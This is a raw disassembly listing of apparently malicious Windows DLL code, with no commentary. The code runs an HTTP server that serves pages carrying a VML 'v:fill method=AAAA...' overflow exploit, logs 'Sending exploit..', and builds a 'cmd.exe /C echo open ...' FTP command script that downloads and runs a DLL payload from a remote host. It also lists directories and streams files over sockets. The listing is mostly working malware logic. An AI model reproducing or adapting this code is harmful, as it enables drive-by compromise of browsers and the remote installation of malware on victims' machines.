push ecx ; Dest
call ds:_snprintf ; _snprintf
add esp, 0Ch
push 0 ; flags
lea edx, [ebp+buf]
push edx ; Str
call strlen ; strlen
add esp, 4
push eax ; len
lea eax, [ebp+buf]
push eax ; buf
mov ecx, [ebp+s]
push ecx ; s
call ds:send ; send
push offset aBody ; "<body>\r\n"
push 200h ; Count
lea edx, [ebp+buf]
push edx ; Dest
call ds:_snprintf ; _snprintf
add esp, 0Ch
push 0 ; flags
lea eax, [ebp+buf]
push eax ; Str
call strlen ; strlen
add esp, 4
push eax ; len
lea ecx, [ebp+buf]
push ecx ; buf
mov edx, [ebp+s]
push edx ; s
call ds:send ; send
push offset aVFillMethodAaa ; "<v:fill method=AAAAAAAAAAAAAAAAAAAAAAAA"...
push 200h ; Count
lea eax, [ebp+buf]
push eax ; Dest
call ds:_snprintf ; _snprintf
add esp, 0Ch
push 0 ; flags
lea ecx, [ebp+buf]
push ecx ; Str
call strlen ; strlen
add esp, 4
push eax ; len
lea edx, [ebp+buf]
push edx ; buf
mov eax, [ebp+s]
push eax ; s
call ds:send ; send
push offset aVRect ; "</v:rect>\r\n"
push 200h ; Count
lea ecx, [ebp+buf]
push ecx ; Dest
call ds:_snprintf ; _snprintf
add esp, 0Ch
push 0 ; flags
lea edx, [ebp+buf]
push edx ; Str
call strlen ; strlen
add esp, 4
push eax ; len
lea eax, [ebp+buf]
push eax ; buf
mov ecx, [ebp+s]
push ecx ; s
call ds:send ; send
push offset aBody_0 ; "</body>\r\n"
push 200h ; Count
lea edx, [ebp+buf]
push edx ; Dest
call ds:_snprintf ; _snprintf
add esp, 0Ch
push 0 ; flags
lea eax, [ebp+buf]
push eax ; Str
call strlen ; strlen
add esp, 4
push eax ; len
lea ecx, [ebp+buf]
push ecx ; buf
mov edx, [ebp+s]
push edx ; s
call ds:send ; send
push offset aHtml ; "</html>\r\n"
push 200h ; Count
lea eax, [ebp+buf]
push eax ; Dest
call ds:_snprintf ; _snprintf
add esp, 0Ch
push 0 ; flags
lea ecx, [ebp+buf]
push ecx ; Str
call strlen ; strlen
add esp, 4
push eax ; len
lea edx, [ebp+buf]
push edx ; buf
mov eax, [ebp+s]
push eax ; s
call ds:send ; send
push offset byte_1002C868 ; Format
push offset aSSendingExploi ; "%s Sending exploit.."
call sub_10007303
add esp, 8
mov [ebp+var_DA0], 0
mov ecx, 0FFh
xor eax, eax
lea edi, [ebp+var_D9F]
rep stosd
stosw
stosb
call sub_10006FA2
push eax
push offset aS_dll_0 ; "%s.dll"
push 10h ; Count
lea ecx, [ebp+Dest]
push ecx ; Dest
call ds:_snprintf ; _snprintf
add esp, 10h
lea edx, [ebp+Dest]
push edx
lea eax, [ebp+Dest]
push eax
xor ecx, ecx
mov cx, hostshort
push ecx
push offset Dest
push offset aCmd_exeCEcho_0 ; "cmd.exe /C echo open %s %hu>x&echo user"...
push 400h ; Count
lea edx, [ebp+var_D11]
push edx ; Dest
call ds:_snprintf ; _snprintf
add esp, 1Ch
mov [ebp+var_5A0], eax
mov eax, dword_10012A5C
add eax, 1
mov dword_10012A5C, eax
jmp short loc_100028CE
; ---------------------------------------------------------------------------
loc_10002891: ; CODE XREF: sub_100024A5+73j
push offset aVFillMethodA_0 ; "<v:fill method=AAAAAAAAAAAAAAAAAAAAAAAA"...
push 200h ; Count
lea ecx, [ebp+buf]
push ecx ; Dest
call ds:_snprintf ; _snprintf
add esp, 0Ch
push 0 ; flags
lea edx, [ebp+buf]
push edx ; Str
call strlen ; strlen
add esp, 4
push eax ; len
lea eax, [ebp+buf]
push eax ; buf
mov ecx, [ebp+s]
push ecx ; s
call ds:send ; send
loc_100028CE: ; CODE XREF: sub_100024A5+3EAj
cmp [ebp+Source], 0
jz loc_1000298C
mov edx, [ebp+Source]
push edx ; Str
call strlen ; strlen
add esp, 4
cmp eax, 2
jbe loc_1000298C
mov eax, [ebp+Source]
push eax ; Str
call strlen ; strlen
add esp, 4
sub eax, 3
mov [ebp+var_DB4], eax
jmp short loc_10002913
; ---------------------------------------------------------------------------
loc_10002904: ; CODE XREF: sub_100024A5:loc_1000292Fj
mov ecx, [ebp+var_DB4]
sub ecx, 1
mov [ebp+var_DB4], ecx
loc_10002913: ; CODE XREF: sub_100024A5+45Dj
cmp [ebp+var_DB4], 0
jz short loc_10002931
mov edx, [ebp+Source]
add edx, [ebp+var_DB4]
movsx eax, byte ptr [edx]
cmp eax, 2Fh
jnz short loc_1000292F
jmp short loc_10002931
; ---------------------------------------------------------------------------
loc_1000292F: ; CODE XREF: sub_100024A5+486j
jmp short loc_10002904
; ---------------------------------------------------------------------------
loc_10002931: ; CODE XREF: sub_100024A5+475j
; sub_100024A5+488j
mov ecx, [ebp+var_DB4]
add ecx, 1
push ecx ; Count
mov edx, [ebp+Source]
push edx ; Source
lea eax, [ebp+Dst]
push eax ; Dest
call ds:strncpy ; strncpy
add esp, 0Ch
push offset aVFillMethodA_1 ; "<v:fill method=AAAAAAAAAAAAAAAAAAAAAAAA"...
push 200h ; Count
lea ecx, [ebp+buf]
push ecx ; Dest
call ds:_snprintf ; _snprintf
add esp, 0Ch
push 0 ; flags
lea edx, [ebp+buf]
push edx ; Str
call strlen ; strlen
add esp, 4
push eax ; len
lea eax, [ebp+buf]
push eax ; buf
mov ecx, [ebp+s]
push ecx ; s
call ds:send ; send
loc_1000298C: ; CODE XREF: sub_100024A5+42Dj
; sub_100024A5+442j
lea edx, [ebp+Str1]
push edx ; lpFindFileData
mov eax, [ebp+lpFileName]
push eax ; lpFileName
call ds:FindFirstFileA ; FindFirstFileA
mov [ebp+hFindFile], eax
loc_100029A3: ; CODE XREF: sub_100024A5:loc_10003063j
lea ecx, [ebp+Str1]
push ecx ; lpFindFileData
mov edx, [ebp+hFindFile]
push edx ; hFindFile
call ds:FindNextFileA ; FindNextFileA
test eax, eax
jz loc_10003068
cmp [ebp+Str1.dwFileAttributes], 0
jz loc_10003063
push offset Str2 ; ".."
lea eax, [ebp+Str1.cFileName]
push eax ; Str1
call strcmp ; strcmp
add esp, 8
test eax, eax
jz loc_10003063
push offset a_ ; "."
lea ecx, [ebp+Str1.cFileName]
push ecx ; Str1
call strcmp ; strcmp
add esp, 8
test eax, eax
jz loc_10003063
lea edx, [ebp+FileTime]
push edx ; lpLocalFileTime
lea eax, [ebp+Str1.ftLastWriteTime]
push eax ; lpFileTime
call ds:FileTimeToLocalFileTime ; FileTimeToLocalFileTime
lea ecx, [ebp+SystemTime]
push ecx ; lpSystemTime
lea edx, [ebp+FileTime]
push edx ; lpFileTime
call ds:FileTimeToSystemTime ; FileTimeToSystemTime
mov eax, dword ptr [ebp+SystemTime.wHour]
and eax, 0FFFFh
cmp eax, 0Ch
jle short loc_10002A48
mov [ebp+var_25F4], offset aPm ; "PM"
jmp short loc_10002A52
; ---------------------------------------------------------------------------
loc_10002A48: ; CODE XREF: sub_100024A5+595j
mov [ebp+var_25F4], offset aAm ; "AM"
loc_10002A52: ; CODE XREF: sub_100024A5+5A1j
mov ecx, dword ptr [ebp+SystemTime.wHour]
and ecx, 0FFFFh
cmp ecx, 0Ch
jle short loc_10002A7A
mov edx, dword ptr [ebp+SystemTime.wHour]
and edx, 0FFFFh
sub edx, 0Ch
mov [ebp+var_25F8], edx
jmp short loc_10002A8B
; ---------------------------------------------------------------------------
loc_10002A7A: ; CODE XREF: sub_100024A5+5BCj
mov eax, dword ptr [ebp+SystemTime.wHour]
and eax, 0FFFFh
mov [ebp+var_25F8], eax
loc_10002A8B: ; CODE XREF: sub_100024A5+5D3j
mov ecx, [ebp+var_25F4]
push ecx
mov edx, dword ptr [ebp+SystemTime.wMinute]
and edx, 0FFFFh
push edx
mov eax, [ebp+var_25F8]
push eax
mov ecx, dword ptr [ebp+SystemTime.wYear]
and ecx, 0FFFFh
push ecx
mov edx, [ebp-58Eh]
and edx, 0FFFFh
push edx
mov eax, dword ptr [ebp+SystemTime.wMonth]
and eax, 0FFFFh
push eax
push offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d %2.2d:%2.2d %s"
push 28h ; Count
lea ecx, [ebp+var_584]
push ecx ; Dest
call ds:_snprintf ; _snprintf
add esp, 24h
mov edx, [ebp+Str1.dwFileAttributes]
and edx, 10h
test edx, edx
jz loc_10002DFB
mov eax, [ebp+var_318]
add eax, 1
mov [ebp+var_318], eax
cmp [ebp+Source], 0
jz loc_10002CF8
push offset aVFillMethodA_2 ; "<v:fill method=AAAAAAAAAAAAAAAAAAAAAAAA"...
push 200h ; Count
lea ecx, [ebp+buf]
push ecx ; Dest
call ds:_snprintf ; _snprintf
add esp, 0Ch
push 0 ; flags
lea edx, [ebp+buf]
push edx ; Str
call strlen ; strlen
add esp, 4
push eax ; len
lea eax, [ebp+buf]
push eax ; buf
mov ecx, [ebp+s]
push ecx ; s
call ds:send ; send
lea edx, [ebp+Str1.cFileName]
push edx
mov eax, [ebp+Source]
push eax
push offset aSS_0 ; "%s%s/"
push 200h ; Count
lea ecx, [ebp+buf]
push ecx ; Dest
call ds:_snprintf ; _snprintf
add esp, 14h
push 0 ; flags
lea edx, [ebp+buf]
push edx ; Str
call strlen ; strlen
add esp, 4
push eax ; len
lea eax, [ebp+buf]
push eax ; buf
mov ecx, [ebp+s]
push ecx ; s
call ds:send ; send
lea edx, [ebp+Str1.cFileName]
push edx ; Str
call strlen ; strlen
add esp, 4
cmp eax, [ebp+var_4]
jbe short loc_10002BC9
lea eax, [ebp+Str1.cFileName]
push eax
push offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
push 200h ; Count
lea ecx, [ebp+buf]
push ecx ; Dest
call ds:_snprintf ; _snprintf
add esp, 10h
jmp short loc_10002BEA
; ---------------------------------------------------------------------------
loc_10002BC9: ; CODE XREF: sub_100024A5+6FFj
lea edx, [ebp+Str1.cFileName]
push edx
push offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"
push 200h ; Count
lea eax, [ebp+buf]
push eax ; Dest
call ds:_snprintf ; _snprintf
add esp, 10h
loc_10002BEA: ; CODE XREF: sub_100024A5+722j
push 0 ; flags
lea ecx, [ebp+buf]
push ecx ; Str
call strlen ; strlen
add esp, 4
push eax ; len
lea edx, [ebp+buf]
push edx ; buf
mov eax, [ebp+s]
push eax ; s
call ds:send ; send
mov ecx, [ebp+var_210]
push ecx
lea edx, [ebp+var_584]
push edx
mov eax, [ebp+var_20C]
push eax
push offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
push 200h ; Count
lea ecx, [ebp+buf]
push ecx ; Dest
call ds:_snprintf ; _snprintf
add esp, 18h
push 0 ; flags
lea edx, [ebp+buf]
push edx ; Str
call strlen ; strlen
add esp, 4
push eax ; len
lea eax, [ebp+buf]
push eax ; buf
mov ecx, [ebp+s]
push ecx ; s
call ds:send ; send
push offset byte_1002C868 ; Format
push offset aSSendingExpl_0 ; "%s Sending exploit.."
call sub_10007303
add esp, 8
mov [ebp+var_15B8], 0
mov ecx, 0FFh
xor eax, eax
lea edi, [ebp+var_15B7]
rep stosd
stosw
stosb
call sub_10006FA2
push eax
push offset aS_dll_1 ; "%s.dll"
push 10h ; Count
lea edx, [ebp+var_15C8]
push edx ; Dest
call ds:_snprintf ; _snprintf
add esp, 10h
lea eax, [ebp+var_15C8]
push eax
lea ecx, [ebp+var_15C8]
push ecx
xor edx, edx
mov dx, hostshort
push edx
push offset Dest
push offset aCmd_exeCEcho_1 ; "cmd.exe /C echo open %s %hu>x&echo user"...
push 400h ; Count
lea eax, [ebp+var_1529]
push eax ; Dest
call ds:_snprintf ; _snprintf
add esp, 1Ch
mov [ebp+var_DB8], eax
mov ecx, dword_10012A5C
add ecx, 1
mov dword_10012A5C, ecx
jmp loc_10002DF6
; ---------------------------------------------------------------------------
loc_10002CF8: ; CODE XREF: sub_100024A5+662j
lea edx, [ebp+Str1.cFileName]
push edx
push offset aS ; "<%s>"
push 100h ; Count
lea eax, [ebp+var_314]
push eax ; Dest
call ds:_snprintf ; _snprintf
add esp, 10h
lea ecx, [ebp+var_584]
push ecx
lea edx, [ebp+var_314]
push edx
push offset a31s21s ; "%-31s %-21s\r\n"
push 200h ; Count
lea eax, [ebp+buf]
push eax ; Dest
call ds:_snprintf ; _snprintf
add esp, 14h
push 0 ; flags
lea ecx, [ebp+buf]
push ecx ; Str
call strlen ; strlen
add esp, 4
push eax ; len
lea edx, [ebp+buf]
push edx ; buf
mov eax, [ebp+s]
push eax ; s
call ds:send ; send
push offset byte_1002C868 ; Format
push offset aSSendingExpl_1 ; "%s Sending exploit.."
call sub_10007303
add esp, 8
mov [ebp+var_1DCC], 0
mov ecx, 0FFh
xor eax, eax
lea edi, [ebp+var_1DCB]
rep stosd
stosw
stosb
call sub_10006FA2
push eax
push offset aS_dll_2 ; "%s.dll"
push 10h ; Count
lea ecx, [ebp+var_1DDC]
push ecx ; Dest
call ds:_snprintf ; _snprintf
add esp, 10h
lea edx, [ebp+var_1DDC]
push edx
lea eax, [ebp+var_1DDC]
push eax
xor ecx, ecx
mov cx, hostshort
push ecx
push offset Dest
push offset aCmd_exeCEcho_2 ; "cmd.exe /C echo open %s %hu>x&echo user"...
push 400h ; Count
lea edx, [ebp+var_1D3D]
push edx ; Dest
call ds:_snprintf ; _snprintf
add esp, 1Ch
mov [ebp+var_15CC], eax
mov eax, dword_10012A5C
add eax, 1
mov dword_10012A5C, eax
loc_10002DF6: ; CODE XREF: sub_100024A5+84Ej
jmp loc_10003063
; ---------------------------------------------------------------------------
loc_10002DFB: ; CODE XREF: sub_100024A5+649j
mov ecx, [ebp+var_31C]
add ecx, 1
mov [ebp+var_31C], ecx
cmp [ebp+Source], 0
jz loc_10003011
mov edx, [ebp+var_208]
push edx
push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
push 200h ; Count
lea eax, [ebp+buf]
push eax ; Dest
call ds:_snprintf ; _snprintf
add esp, 10h
push 0 ; flags
lea ecx, [ebp+buf]
push ecx ; Str
call strlen ; strlen
add esp, 4
push eax ; len
lea edx, [ebp+buf]
push edx ; buf
mov eax, [ebp+s]
push eax ; s
call ds:send ; send
lea ecx, [ebp+Str1.cFileName]
push ecx
mov edx, [ebp+Source]
push edx
push offset aSS_1 ; "%s%s"
push 200h ; Count
lea eax, [ebp+buf]
push eax ; Dest
call ds:_snprintf ; _snprintf
add esp, 14h
push 0 ; flags
lea ecx, [ebp+buf]
push ecx ; Str
call strlen ; strlen
add esp, 4
push eax ; len
lea edx, [ebp+buf]
push edx ; buf
mov eax, [ebp+s]
push eax ; s
call ds:send ; send
lea ecx, [ebp+Str1.cFileName]
push ecx ; Str
call strlen ; strlen
add esp, 4
mov edx, [ebp+var_4]
add edx, 1
cmp eax, edx
jbe short loc_10002EDC
lea eax, [ebp+Str1.cFileName]
push eax
push offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
push 200h ; Count
lea ecx, [ebp+buf]
push ecx ; Dest
call ds:_snprintf ; _snprintf
add esp, 10h
jmp short loc_10002EFD
; ---------------------------------------------------------------------------
loc_10002EDC: ; CODE XREF: sub_100024A5+A12j
lea edx, [ebp+Str1.cFileName]
push edx
push offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"
push 200h ; Count
lea eax, [ebp+buf]
push eax ; Dest
call ds:_snprintf ; _snprintf
add esp, 10h
loc_10002EFD: ; CODE XREF: sub_100024A5+A35j
push 0 ; flags
lea ecx, [ebp+buf]
push ecx ; Str
call strlen ; strlen
add esp, 4
push eax ; len
lea edx, [ebp+buf]
push edx ; buf
mov eax, [ebp+s]
push eax ; s
call ds:send ; send
mov ecx, [ebp+Str1.nFileSizeLow]
shr ecx, 0Ah
push ecx
mov edx, [ebp+var_210]
push edx
lea eax, [ebp+var_584]
push eax
mov ecx, [ebp+var_20C]
push ecx
push offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
push 200h ; Count
lea edx, [ebp+buf]
push edx ; Dest
call ds:_snprintf ; _snprintf
add esp, 1Ch
push 0 ; flags
lea eax, [ebp+buf]
push eax ; Str
call strlen ; strlen
add esp, 4
push eax ; len
lea ecx, [ebp+buf]
push ecx ; buf
mov edx, [ebp+s]
push edx ; s
call ds:send ; send
push offset byte_1002C868 ; Format
push offset aSSendingExpl_2 ; "%s Sending exploit.."
call sub_10007303
add esp, 8
mov [ebp+var_25E0], 0
mov ecx, 0FFh
xor eax, eax
lea edi, [ebp+var_25DF]
rep stosd
stosw
stosb
call sub_10006FA2
push eax
push offset aS_dll_3 ; "%s.dll"
push 10h ; Count
lea eax, [ebp+var_25F0]
push eax ; Dest
call ds:_snprintf ; _snprintf
add esp, 10h
lea ecx, [ebp+var_25F0]
push ecx
lea edx, [ebp+var_25F0]
push edx
xor eax, eax
mov ax, hostshort
push eax
push offset Dest
push offset aCmd_exeCEcho_3 ; "cmd.exe /C echo open %s %hu>x&echo user"...
push 400h ; Count
lea ecx, [ebp+var_2551]
push ecx ; Dest
call ds:_snprintf ; _snprintf
add esp, 1Ch
mov [ebp+var_1DE0], eax
mov edx, dword_10012A5C
add edx, 1
mov dword_10012A5C, edx
jmp short loc_10003063
; ---------------------------------------------------------------------------
loc_10003011: ; CODE XREF: sub_100024A5+969j
mov eax, [ebp+Str1.nFileSizeLow]
push eax
lea ecx, [ebp+var_584]
push ecx
lea edx, [ebp+Str1.cFileName]
push edx
push offset a31s21sIBytes ; "%-31s %-21s (%i bytes)\r\n"
push 200h ; Count
lea eax, [ebp+buf]
push eax ; Dest
call ds:_snprintf ; _snprintf
add esp, 18h
push 0 ; flags
lea ecx, [ebp+buf]
push ecx ; Str
call strlen ; strlen
add esp, 4
push eax ; len
lea edx, [ebp+buf]
push edx ; buf
mov eax, [ebp+s]
push eax ; s
call ds:send ; send
loc_10003063: ; CODE XREF: sub_100024A5+521j
; sub_100024A5+53Dj ...
jmp loc_100029A3
; ---------------------------------------------------------------------------
loc_10003068: ; CODE XREF: sub_100024A5+514j
mov ecx, [ebp+hFindFile]
push ecx ; hFindFile
call ds:FindClose ; FindClose
cmp [ebp+Source], 0
jz short loc_10003097
push offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
push 200h ; Count
lea edx, [ebp+buf]
push edx ; Dest
call ds:_snprintf ; _snprintf
add esp, 0Ch
jmp short loc_100030B1
; ---------------------------------------------------------------------------
loc_10003097: ; CODE XREF: sub_100024A5+BD4j
push offset aVFillMethodA_3 ; "<v:fill method=AAAAAAAAAAAAAAAAAAAAAAAA"...
push 200h ; Count
lea eax, [ebp+buf]
push eax ; Dest
call ds:_snprintf ; _snprintf
add esp, 0Ch
loc_100030B1: ; CODE XREF: sub_100024A5+BF0j
push 0 ; flags
lea ecx, [ebp+buf]
push ecx ; Str
call strlen ; strlen
add esp, 4
push eax ; len
lea edx, [ebp+buf]
push edx ; buf
mov eax, [ebp+s]
push eax ; s
call ds:send ; send
pop edi
mov esp, ebp
pop ebp
retn
sub_100024A5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_100030D9(int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,SOCKET s,LPCSTR lpFileName)
sub_100030D9 proc near ; CODE XREF: StartAddress+272p
Dest = byte ptr -0C2Ch
var_C1C = byte ptr -0C1Ch
var_C1B = byte ptr -0C1Bh
var_B8D = byte ptr -0B8Dh
var_41C = dword ptr -41Ch
var_418 = dword ptr -418h
NumberOfBytesRead= dword ptr -414h
len = dword ptr -410h
Dst = byte ptr -40Ch
lDistanceToMove = dword ptr -0Ch
var_8 = dword ptr -8
hObject = dword ptr -4
s = dword ptr 314h
lpFileName = dword ptr 318h
push ebp
mov ebp, esp
sub esp, 0C2Ch
push edi
mov [ebp+len], 400h
mov [ebp+NumberOfBytesRead], 0
push 0 ; hTemplateFile
push 0 ; dwFlagsAndAttributes
push 3 ; dwCreationDisposition
push 0 ; lpSecurityAttributes
push 1 ; dwShareMode
push 80000000h ; dwDesiredAccess
mov eax, [ebp+lpFileName]
push eax ; lpFileName
call ds:CreateFileA ; CreateFileA
mov [ebp+hObject], eax
cmp [ebp+hObject], 0FFFFFFFFh
jnz short loc_10003121
jmp loc_10003299
; ---------------------------------------------------------------------------
loc_10003121: ; CODE XREF: sub_100030D9+41j
push 0 ; lpFileSizeHigh
mov ecx, [ebp+hObject]
push ecx ; hFile
call ds:GetFileSize ; GetFileSize
mov [ebp+var_8], eax
loc_10003130: ; CODE XREF: sub_100030D9+1ABj
cmp [ebp+var_8], 0
jz loc_10003289
push offset byte_1002C868 ; Format
push offset aSSendingExpl_3 ; "%s Sending exploit.."
call sub_10007303
add esp, 8
mov [ebp+var_C1C], 0
mov ecx, 0FFh
xor eax, eax
lea edi, [ebp+var_C1B]
rep stosd
stosw
stosb
call sub_10006FA2
push eax
push offset aS_dll_4 ; "%s.dll"
push 10h ; Count
lea edx, [ebp+Dest]
push edx ; Dest
call ds:_snprintf ; _snprintf
add esp, 10h
lea eax, [ebp+Dest]
push eax
lea ecx, [ebp+Dest]
push ecx
xor edx, edx
mov dx, hostshort
push edx
push offset Dest
push offset aCmd_exeCEcho_4 ; "cmd.exe /C echo open %s %hu>x&echo user"...
push 400h ; Count
lea eax, [ebp+var_B8D]
push eax ; Dest
call ds:_snprintf ; _snprintf
add esp, 1Ch
mov [ebp+var_41C], eax
mov ecx, dword_10012A5C
add ecx, 1
mov dword_10012A5C, ecx
push 400h ; Size
push 0 ; Val
lea edx, [ebp+Dst]
push edx ; Dst
call memset ; memset
add esp, 0Ch
mov eax, [ebp+len]
cmp eax, [ebp+var_8]
jbe short loc_100031F8
mov ecx, [ebp+var_8]
mov [ebp+len], ecx
loc_100031F8: ; CODE XREF: sub_100030D9+114j
xor edx, edx
sub edx, [ebp+var_8]
mov [ebp+lDistanceToMove], edx
push 2 ; dwMoveMethod
push 0 ; lpDistanceToMoveHigh
mov eax, [ebp+lDistanceToMove]
push eax ; lDistanceToMove
mov ecx, [ebp+hObject]
push ecx ; hFile
call ds:SetFilePointer ; SetFilePointer
push 0 ; lpOverlapped
lea edx, [ebp+NumberOfBytesRead]
push edx ; lpNumberOfBytesRead
mov eax, [ebp+len]
push eax ; nNumberOfBytesToRead
lea ecx, [ebp+Dst]
push ecx ; lpBuffer
mov edx, [ebp+hObject]
push edx ; hFile
call ds:ReadFile ; ReadFile
push 0 ; flags
mov eax, [ebp+len]
push eax ; len
lea ecx, [ebp+Dst]
push ecx ; buf
mov edx, [ebp+s]
push edx ; s
call ds:send ; send
mov [ebp+var_418], eax
cmp [ebp+var_418], 0FFFFFFFFh
jnz short loc_10003278
call ds:WSAGetLastError ; WSAGetLastError
cmp eax, 2733h
jz short loc_1000326E
jmp short loc_10003289
; ---------------------------------------------------------------------------
loc_1000326E: ; CODE XREF: sub_100030D9+191j
mov [ebp+var_418], 0
loc_10003278: ; CODE XREF: sub_100030D9+184j
mov eax, [ebp+var_8]
sub eax, [ebp+var_418]
mov [ebp+var_8], eax
jmp loc_10003130
; ---------------------------------------------------------------------------
loc_10003289: ; CODE XREF: sub_100030D9+5Bj
; sub_100030D9+193j
cmp [ebp+hObject], 0FFFFFFFFh
jz short loc_10003299
mov ecx, [ebp+hObject]
push ecx ; hObject
call ds:CloseHandle ; CloseHandle
loc_10003299: ; CODE XREF: sub_100030D9+43j
; sub_100030D9+1B4j
pop edi
mov esp, ebp
pop ebp
retn
sub_100030D9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
; DWORD __stdcall sub_1000329E(LPVOID)
sub_1000329E proc near ; DATA XREF: sub_10007424+19CEo
var_2E88 = dword ptr -2E88h
var_2E84 = dword ptr -2E84h
var_2E80 = dword ptr -2E80h
Dest = byte ptr -2E7Ch
var_2E6C = byte ptr -2E6Ch
var_2E6B = byte ptr -2E6Bh
var_2DDD = byte ptr -2DDDh
var_266C = dword ptr -266Ch
var_2668 = dword ptr -2668h
var_2664 = dword ptr -2664h
readfds = fd_set ptr -2660h
var_255C = dword ptr -255Ch
var_2558 = dword ptr -2558h
var_2554 = dword ptr -2554h
argp = dword ptr -2458h
Str = byte ptr -2454h
var_2354 = dword ptr -2354h
hostshort = word ptr -234Ch
var_214A = byte ptr -214Ah
var_2048 = dword ptr -2048h
Source = dword ptr -2044h
name = sockaddr ptr -2040h
Dst = byte ptr -2030h
var_1030 = dword ptr -1030h
fd = dword ptr -102Ch
s = dword ptr -1028h
addrlen = dword ptr -1024h
var_1020 = dword ptr -1020h
var_101C = dword ptr -101Ch
Str1 = byte ptr -1018h
addr = sockaddr ptr -18h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 2E88h
call __alloca_probe
push esi
push edi
mov [ebp+argp], 1
mov [ebp+Source], offset dword_10012A60
mov esi, [ebp+arg_0]
mov ecx, 0C4h
lea edi, [ebp+var_2354]
rep movsd
mov eax, [ebp+arg_0]
mov [ebp+var_1030], eax
mov ecx, [ebp+var_1030]
mov byte ptr [ecx+30Bh], 1
mov [ebp+name.sa_family], 2
mov dx, [ebp+hostshort]
push edx ; hostshort
call ds:htons ; htons
mov word ptr [ebp+name.sa_data], ax
mov dword ptr [ebp+name.sa_data+2], 0
push 8 ; Size
push 0 ; Val
lea eax, [ebp+name.sa_data+6]
push eax ; Dst
call memset ; memset
add esp, 0Ch
push 0 ; protocol
push 1 ; type
push 2 ; af
call ds:socket ; socket
mov [ebp+s], eax
cmp [ebp+s], 0FFFFFFFFh
jz loc_100039DA
push 10h ; namelen
lea ecx, [ebp+name]
push ecx ; name
mov edx, [ebp+s]
push edx ; s
call ds:bind ; bind
cmp eax, 0FFFFFFFFh
jz loc_100039DA
push 7FFFFFFFh ; backlog
mov eax, [ebp+s]
push eax ; s
call ds:listen ; listen
cmp eax, 0FFFFFFFFh
jz loc_100039DA
lea ecx, [ebp+argp]
push ecx ; argp
push 8004667Eh ; cmd
mov edx, [ebp+s]
push edx ; s
call ds:ioctlsocket ; ioctlsocket
cmp eax, 0FFFFFFFFh
jz loc_100039DA
mov [ebp+var_255C], 0
mov [ebp+readfds.fd_count], 0
loc_100033B1: ; CODE XREF: sub_1000329E+192j
mov [ebp+var_2664], 0
jmp short loc_100033CC
; ---------------------------------------------------------------------------
loc_100033BD: ; CODE XREF: sub_1000329E:loc_100033F1j
mov eax, [ebp+var_2664]
add eax, 1
mov [ebp+var_2664], eax
loc_100033CC: ; CODE XREF: sub_1000329E+11Dj
mov ecx, [ebp+var_2664]
cmp ecx, [ebp+var_255C]
jnb short loc_100033F3
mov edx, [ebp+var_2664]
mov eax, [ebp+edx*4+var_2558]
cmp eax, [ebp+s]
jnz short loc_100033F1
jmp short loc_100033F3
; ---------------------------------------------------------------------------
loc_100033F1: ; CODE XREF: sub_1000329E+14Fj
jmp short loc_100033BD
; ---------------------------------------------------------------------------
loc_100033F3: ; CODE XREF: sub_1000329E+13Aj
; sub_1000329E+151j
mov ecx, [ebp+var_2664]
cmp ecx, [ebp+var_255C]
jnz short loc_1000342C
cmp [ebp+var_255C], 40h
jnb short loc_1000342C
mov edx, [ebp+var_2664]
mov eax, [ebp+s]
mov [ebp+edx*4+var_2558], eax
mov ecx, [ebp+var_255C]
add ecx, 1
mov [ebp+var_255C], ecx
loc_1000342C: ; CODE XREF: sub_1000329E+161j
; sub_1000329E+16Aj
xor edx, edx
test edx, edx
jnz loc_100033B1
mov eax, [ebp+s]
mov [ebp+var_101C], eax
loc_10003442: ; CODE XREF: sub_1000329E:loc_100039D5j
mov ecx, 1
test ecx, ecx
jz loc_100039DA
mov ecx, 41h
lea esi, [ebp+var_255C]
lea edi, [ebp+readfds]
rep movsd
push 0 ; timeout
push 0 ; exceptfds
push 0 ; writefds
lea edx, [ebp+readfds]
push edx ; readfds
mov eax, [ebp+var_101C]
add eax, 1
push eax ; nfds
call ds:select ; select
cmp eax, 0FFFFFFFFh
jnz short loc_10003489
jmp loc_100039DA
; ---------------------------------------------------------------------------
loc_10003489: ; CODE XREF: sub_1000329E+1E4j
mov [ebp+fd], 0
jmp short loc_100034A4
; ---------------------------------------------------------------------------
loc_10003495: ; CODE XREF: sub_1000329E+276j
; sub_1000329E:loc_100039D0j
mov ecx, [ebp+fd]
add ecx, 1
mov [ebp+fd], ecx
loc_100034A4: ; CODE XREF: sub_1000329E+1F5j
mov edx, [ebp+fd]
cmp edx, [ebp+var_101C]
ja loc_100039D5
lea eax, [ebp+readfds]
push eax ; fd_set *
mov ecx, [ebp+fd]
push ecx ; fd
call __WSAFDIsSet ; __WSAFDIsSet
test eax, eax
jz loc_100039D0
mov edx, [ebp+fd]
cmp edx, [ebp+s]
jnz loc_100035BD
mov [ebp+addrlen], 10h
lea eax, [ebp+addrlen]
push eax ; addrlen
lea ecx, [ebp+addr]
push ecx ; addr
mov edx, [ebp+s]
push edx ; s
call ds:accept ; accept
